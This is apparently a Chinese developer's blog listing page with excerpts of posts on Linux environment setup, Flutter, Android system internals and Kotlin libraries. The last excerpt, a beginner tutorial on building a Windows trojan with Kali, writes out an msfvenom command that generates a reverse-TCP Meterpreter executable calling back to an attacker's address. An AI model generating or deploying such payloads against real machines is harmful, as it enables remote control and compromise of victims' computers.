自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(35)
  • 收藏
  • 关注

原创 Linux上搭建Vue环境

在Mint系统上搭建个Vue环境。首先,安装Node.js到官网下载合适的版本。建议使用左边的稳定版本。解压到任意的目录。配置环境变量。对照自己的目录修改。#node.jsexport NODE_HOME=/home/oem/applications/node-v14.15.1-linux-x64export PATH=$NODE_HOME/bin:$PATH测试一下,是否配置完成。接着,还是比较重要的,建立软链接。不可省略。sudo ln -s /home/oem/app

2020-11-28 23:44:28 203

原创 Idea上配置Smart Tomcat

之前网上找的资料不知道在说啥,写一个正确的配置方法,亲测。买不起专业版,只能用smart tomcat了。莫得办法。开始配置。首先,在Idea的File->setting->plugins里面搜索tomcat,安装Smart Tomcat。接着,在tomcat官网下载,下载9版本的,10的我这里测试使用不了。下载结束之后,解压到你合适的目录。(哦对了,linux选择tar.gz或者zip,windows选择有windows的,我选的是tar.gz)打开idea的运行配置。

2020-11-28 17:17:47 11323 1

原创 Linux Web之安装配置Mysql

装个Mysql本来以为会很简单,没想到遇到了一些问题。(Mint系统)首先,需要确保你的linux上没有Mysql的残留文件。dpkg --list|grep mysql如果是空的,就是干净的。否则,执行下面的命令进行清除sudo apt-get --purge remove mysql-commonsudo apt-get autoremove清空为止。接着,运行下面的命令安装mysqlsudo apt-get install mysql-server有一部分Renamin

2020-11-27 19:46:19 132

原创 Flutter的列表组件ListView、GridView和PageView

Scrolling Widget是一种基本组件,介绍一些基本的使用方法。ListView它具有四种构造方法:默认构造函数ListViewListView.builder:适合具有大量列表项的ListView。ListView.separated:可以配置分割线,适用于具有固定数量的列表项的ListView。ListView.custom:提供自定义Widget的能力。默认构造方式MaterialApp( home: Scaffold(

2020-11-26 18:07:04 699

原创 Flutter的TabController和bottomNavigationBar组合使用

使用这两个组件可以快速搭建一个普通App的基本骨架,剩下的就是添加内容了。废话不多说,直接上效果。之前,学Andoid使用的组件那么费劲,又是fragment,又是Activity。使用TabLayout,在那使劲搭建,没想到Flutter这么简洁,感觉自己像个蠢蛋。但是,yysy,这个编译好慢。代码如下(全部,懒得重新创建文件放首页的内容了):import 'package:flutter/material.dart';void main() => runApp(MyApp())

2020-11-24 23:59:28 412

原创 Flutter路由使用

Flutter的路由使用有两种方式,分别是新建路由和注册路由。新建路由代码如下:import 'package:flutter/material.dart';void main() => runApp(MyApp());class MyApp extends StatelessWidget{ @override Widget build(BuildContext context){ return MaterialApp( title: "Welcome

2020-11-24 16:59:31 196

原创 Linux学习之配置Flutter环境

花了几个小时来配置Linux上的Flutter的运行环境。做个记录,免得下次花时间。首先,要下载Flutter SDK。这个官网网址。下好之后,解压、配置环境变量。所谓配置环境变量就是,在打开终端之后,编辑 .bashrc文件,在后面加上如下语句:#flutterexport PUB_HOSTED_URL=https://pub.flutter-io.cnexport FLUTTER_STORAGE_BASE_URL=https://storage.flutter-io.cnexpo

2020-11-23 23:52:35 304

原创 Android终阶之Lifecycle、LiveData应用

Jetpack的组件,对于Android的开发和管理具有很大的帮助,介绍一下Lifecycle、LiveData。Lifecycle它可以对fragment和Activity的生命周期进行管理。也就是横向抽象,对于生命周期中相同的操作,使用一个类来进行统一管理多个。依赖导入compile group: 'androidx.lifecycle', name: 'lifecycle-extensions', version: '2.2.0'使用/** * 主要的Activity只有这

2020-11-23 16:22:04 699

原创 Android再进阶之热修复原理

一个App的一个版本出现了严重的BUG,我们如果采用重新编译生成App的方式,不但要花费很长的时间编译,而且用户也需要重新下载安装,花费的代价过高,这个时候就需要热修复技术了。主流的框架有很多,比如:AndFix、Tinker、Amigo、QQ空间、Robust、Aceso。下面就资源修复、代码修复、动态链接库修复三个方面进行介绍。资源修复许多框架的资源修复都参考了Instant Run的资源修复的原理。Instant Run概述传统的需要重新安装App,Instant可以避免这种情况。In

2020-11-21 20:53:13 168 1

原创 Android再进阶之ClassLoader介绍

为了更好地理解Android中的ClassLoader,会先介绍Java中的ClassLoader,之后,再介绍Android的。Java中的ClassLoaderClassLoader的类型Java中的类加载器主要有两种类型,即系统类加载器和自定义类加载器。而系统类加载器包括3种,分别是Bootstrap ClassLoader(C++实现)、Extensions ClassLoader和Application ClassLoader。下面看一下ClassLoader的继承关系:对五个

2020-11-21 15:43:08 251

原创 Android再进阶之从Dalvik到ART虚拟机

众所周知,Android虚拟机不同于Java虚拟机,为了更高的编译速度,没有基于栈,而是基于寄存器。下面就来介绍整个Android虚拟机的演变过程。自己做个目录。说一下主要的内容,不浪费阅读者的时间。主要讲了DVM到ART的转变。Dalvik虚拟机的简单介绍,它的运行时堆重点介绍了。ART虚拟机的简单介绍,它的运行时堆重点介绍了。GC垃圾回收因为太费时间了,没有说。区别主要集中介绍了编译的方式的转变,例如:JIT、AOT的引入,以及即时JIT的引入。Dalvik虚拟机1.DVM与JVM

2020-11-20 22:15:17 335

原创 Android再进阶之WindowManagerService简介

WindowManagerService(WMS)作为系统中重要的服务,有了解的必要。创建比较难解释,直接介绍它的成员。WMS的重要成员mPolicy:WindowManagerPolicy。它是WMP(WindowManagerPolicy)类型的变量,WMP是窗口策略的接口类,用来定义一个窗口策略所要遵循的通用规范,并提供了WindowManager所有的特定的UI行为。mSessions:ArraySet。它的元素类型为Session,主要用于进程间通信,其它的应用程序想要和WMS进

2020-11-20 10:42:43 648

原创 Android再进阶之Content Provider启动过程

Content Provider提供进程内和进程间的数据共享。它的启动分为两个部分。query方法到AMS的调用过程。使用query方法后,它通过acquireUnstableProvider方法,返回IContentProvider类型的unstableProvider对象,IContentProvider是ContentProvider在本地的代理,acquireUnstableProvider方法中返回了ActivityThread类型的mMainThread对象的acquireProvid

2020-11-17 22:26:41 242

原创 Android再进阶之广播发送、接收和注册过程

广播的注册分为静态注册和动态注册,静态注册在应用安装的时候由PackageManagerService来完成注册。这里只介绍动态注册。动态注册调用registerReceiver方法,它在ContextWrapper中实现,mBase具体指向就是ContextImpl,ContextImpl的registerReceiver方法有很多重载的方法,最终调用registerReceiverInternal方法,它会调用IActivityManager的registerReceiver方法,最终调..

2020-11-17 16:58:56 209

原创 Android再进阶之Service绑定

可以通过Context的startService来启动Service,也可以通过Context的bindService来绑定Service。这个过程比较复杂。ContextImpl到AMS的调用过程首先,调用bindService方法来绑定Service,它在ContextWrapper中实现,接着ContextImpl的ContextImpl的bindService方法,它会返回bindServiceCommon方法,调用IActivityManager的bindService方法。最后,调用A

2020-11-17 15:49:20 356

原创 Android再进阶之Service的启动过程

作为Android的四大组件之一,Service的启动有了解的必要。它的启动和Activity的启动具有相似的地方。ContextImpl到AMS的调用过程首先,会调用ContextWrapper的startService方法,它会调用ContextImpl的startServiceCommon方法,之后会调AMS的代理IActivityManager的startService方法,最后,调用的是AMS的startService。ActivityThread启动Service接着上面,

2020-11-17 11:19:55 129

原创 Android再进阶之Activity启动过程

作为Android四大组件之一,Activity启动有必要了解。Activity分为根Activity和普通Activity。只介绍根Activity的启动。Launcher请求AMS过程点击应用程序的快捷图标时,就会调用Launcher的startActivitySafely方法,它会将Flag设置为Intent.FLAG_ACTIVITY_NEW_TASK,Activity会在新的任务栈中启动,调用startActivity方法,它实现于Activity中。startActivity方

2020-11-16 20:59:52 139

原创 Android再进阶之Binder线程池启动与消息循环创建过程

应用程序进程的启动过程中会启动Binder线程池,它的启动过程也有必要了解。Binder线程池启动ZygoteInit类的zygoteInit的方法,中会调用nativeZygoteInit方法,它是一个JNI方法,在JNINativeMethod数组中可以得知它对应的函数是com_android_os_ZygoteInit_nativeZygoteInit,它里面包含gCurRuntime是AndroidRuntimr类型的指针,而AppRuntime继承自AndroidRuntime.And

2020-11-15 22:21:23 430

原创 Android再进阶之应用程序进程启动过程

注意是应用程序进程的启动过程,不是应用程序启动过程。应用程序启动之前要保证该应用程序的进程已经启动。应用程序进程的启动过程如下:AMS发送启动应用程序进程请求。首先,AMS会调用startProcessLocked方法,向Zygote进程发送请求。它会创建应用程序进程的用户ID,对用户ID进行创建和赋值。调用Process的start方法。它会调用ZygoteProcess的start方法,而这个方法又会调用startViaZygote方法、zygoteSendArgsAndGetResult

2020-11-15 12:16:41 114

原创 Android入门之新手项目的坑(二)

第二部分的坑IncludeInclude可以在一个View中嵌入另一个组件,如果这个组件会重复使用,那么,使用Include是一个相当聪明的决定。而,在使用时发现,不同于普通的View,在获取和操作它的组件时,需要在它嵌入的View中查找组件,而不是在这个组件定义的View中查找。...

2020-11-15 09:48:08 60

原创 Android再进阶之Launcher启动过程

系统启动的最后一步,就是启动一个应用程序来显示已经安装的应用程序,而这个应用程序就是Launcher。Launcher启动过程中,会请求PackageManagerService返回系统中已经安装的应用程序的信息,并且将这些信息封装成一个快捷图标列表显示在系统屏幕上。简单来说,Launcher就是系统的桌面,它主要有下面两个作用:作为Android系统的启动器,用于启动应用程序。作为Andorid系统的桌面,用于显示和管理应用程序的快捷图标或者其他桌面组件。Launcher的启动过程如下:

2020-11-14 23:28:31 480

原创 Android再进阶之SystemServer进程启动

SystemServer进程主要用于创建系统服务,AMS、WMS和PMS都是它创建的。SystemServer进程在ZygoteInit.java中的startSystemServer方法中启动,SystemServer进程复制了Zygote进程的地址空间,也会得到Zygote进程的Socket,由于对于自己本身这个Socket没有用处,因此会对其进行关闭。调用handleSystemServerProcess方法来启动SystemServer进程。SystemServer进程的启动过程如下:

2020-11-14 22:33:22 212

原创 Android再进阶之Zygote进程启动过程

Zygote进程。在Android系统中,DVM(Dalvik虚拟机)和ART、应用程序进程以及运行系统的关键服务的SystemServer进程都是由Zygote进程创建的。Zygote进程的启动过程如下:创建AppRunTime并调用其start方法,启动Zygote进程。创建Java虚拟机并为Java虚拟机注册JNI方法。通过JNI调用ZygoteInit的main函数进入Zygote的Java框架层。通过registerZygoteSocket方法创建服务器端Socket,并通过run

2020-11-14 21:13:51 112

原创 Linux学习之脚本调试关闭、开启及使用命令打开终端执行命令

打开一个终端执行命令,写在脚本里可以在启动脚本的时候,有直观的调试观感。命令:gnome-terminal -- bash -c "sh /studio.sh;"如果要终端一直开启需要这样写:gnome-terminal -- bash -c "sh ./studio.sh;exec bash;"之前,因为使用了-x参数,导致开启了脚本调试,每次使用Tap补全的时候,都会输出许多没有必要的东西。使用set -x是开启脚本调试, set +x是关闭,set -o是查看。所以,使用s

2020-11-14 12:30:41 674

原创 Android再进阶之init进程启动

Android系统启动的时候,init进程的启动是重要的一环。init进程是Android系统中用户空间的第一个进程,进程号为1。init进程由多个源文件共同组成,这些文件位于源码目录system/core/init中。先介绍在init进程启动之前的流程。如下:启动电源及系统启动引导程序BootLoaderLinux内核启动init进程启动1. 在Linux内核启动之后,它会在系统文件中查找init.rc文件,启动init进程,而在init的main函数中,大概做了这么几件事:开始的

2020-11-13 09:42:59 165

原创 Android初步进阶之项目实战

学完一些新的组件,我寻思做个项目整合一下。B站2.0来了。下面将会用到RecyclerView、ViewPager、AppBarLayout、TabLayout、NavigationView、SwipeRefreshLayout、NestedScrollView等等。项目源码地址(GitHub)介绍整个项目的结构(也就是各个视图的关系)整个项目的目录结构如下:结构图如下:因为,其他的页面没有啥的新的组件,而且我莫得多余时间,只做了推荐和热门这两个部分。介绍遇到的坑比较麻烦的东西

2020-11-11 23:13:45 120

原创 Android初步进阶之对Drawable进行缩放

为了方便Drawable的使用,这里对Drawable的缩放进行了封装。基本的使用可以选择自己是要使用缩放比例还是使用缩放后的尺寸,这两种方式。废话不多说,Kotlin封装的代码如下:import android.graphics.Bitmapimport android.graphics.Canvasimport android.graphics.Matriximport android.graphics.PixelFormatimport android.graphics.drawab

2020-11-10 17:02:47 2147

原创 Android初步进阶之MVVM框架使用

MVVM模式引入双向绑定。首先,看一看MVVM的模式的图示。![在这里插入图片描述](https://img-blog.csdnimg.cn/20201108124734892.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MjUxNDE2Mg==,size_16,color_FFFFFF,t_70#pic_center

2020-11-08 19:37:42 242

原创 Android初步进阶之依赖注入框架

使用框架,可以省不少事。先介绍ButterKnife。Dagger不介绍,不好用啊。由于我用的是Kotlin,许多人说都用Kotlin了,还用这个框架是吃得撑了。虽然,吃撑了,但是毕竟省了一些setOnClickListener()这种事。先说一下,在Koltin里面如何直接通过id查找使用组件。直接导入就行:import kotlinx.android.synthetic.main.main_activity.*//后面根据项目改变text5.setText("233")//直接使用

2020-11-07 20:56:16 205 1

原创 Android初步进阶之函数响应式编程

常见的编程范式有命令式编程、函数式编程和逻辑式编程。比如,面向对象编程就是命令式编程。由于Android开发中,需要处理数据流式编程,因此,函数式编程是一个解决问题的好方案。在实际的开发中,常见的函数式响应式编程框架有RxJava和Agera。这里只说明RxJava。首先,简单的使用示例。采用观察者模式。创建观察者和被观察者import android.app.Activityimport android.os.Bundleimport io.reactivex.Observerimpo

2020-11-07 16:15:54 186 1

原创 Android初步进阶之事件总线使用

不同的Activity和Fragment之间的信息交互,总是使用广播可不是个好办法。使用EventBus或者otto是个不错的选择。先说明一下EventBus的三要素以及它的四种ThreadMode。三要素:Event:事件。任意类型的对象。(浮想连篇)Subscriber:事件订阅者。Publisher:事件发布者。四种ThreadMode:POSTING(默认):发布事件和接收事件在一个线程中。MAIN:事件的处理会在UI的线程中执行。处理不能太长时间,否则会导致ANR。B

2020-11-06 19:57:55 158

原创 Android初步进阶之网络编程

将介绍Android上的网络编程。包括HttpURLConnection及Volley、OKHttp、Retrofit框架。(HttpClient由于被淘汰,不予以介绍)

2020-11-05 21:06:13 110

原创 Android初步进阶之线程池简介

在安卓的开发过程中,不应该放置过多的任务在主线程上,否则会导致页面加载变慢,用户的体验变差。因此,可以放在线程中执行的事务应该尽量放置在线程中。下面,介绍使用线程,以及线程池的四种常见用法。均采用kotlin实现。线程基本使用//第一种object:Thread(){ override fun run() { println("测试") }}.start() //第二种Thread({ println("测试1")}).start()/

2020-11-04 18:52:30 146

原创 Linux学习之安装msfvenom

强大的MSF框架,要在linux上安装,需要根据自己的系统的系统架构来选择。首先,到官网下载deb安装包。官网地址,我们需要的包在最后面。然后,执行命令。(根据你选择的包和系统具体替换)例如:sudo dpkg -i metasploit-framework_5.0.85+20200412093615~1rapid7-1_arm64.deb输入,初始化数据库,好了之后。msfvenom再次输入上面的命令,就可以使用了,并且可以看到可以的选项。...

2020-11-02 23:18:25 5644 1

原创 Linux学习之Kali制作简单的Windows的木马,创建后门

Kali是一个强大系统,有很多的工具可以用来进行渗透。今天,介绍自己的初始的一个新手木马。首先,查看一下工具msfvenom的功能参数吧。msfvenom查看功能模块(超级多,要等一会,哈哈)msfvenom -l payloads然后,使用工具msfvenom来生成后门木马,这个是专业的创建木马后门的工具。命令如下:msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.79.3 lport=2333 -f exe &

2020-11-01 22:00:16 6042

空空如也

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除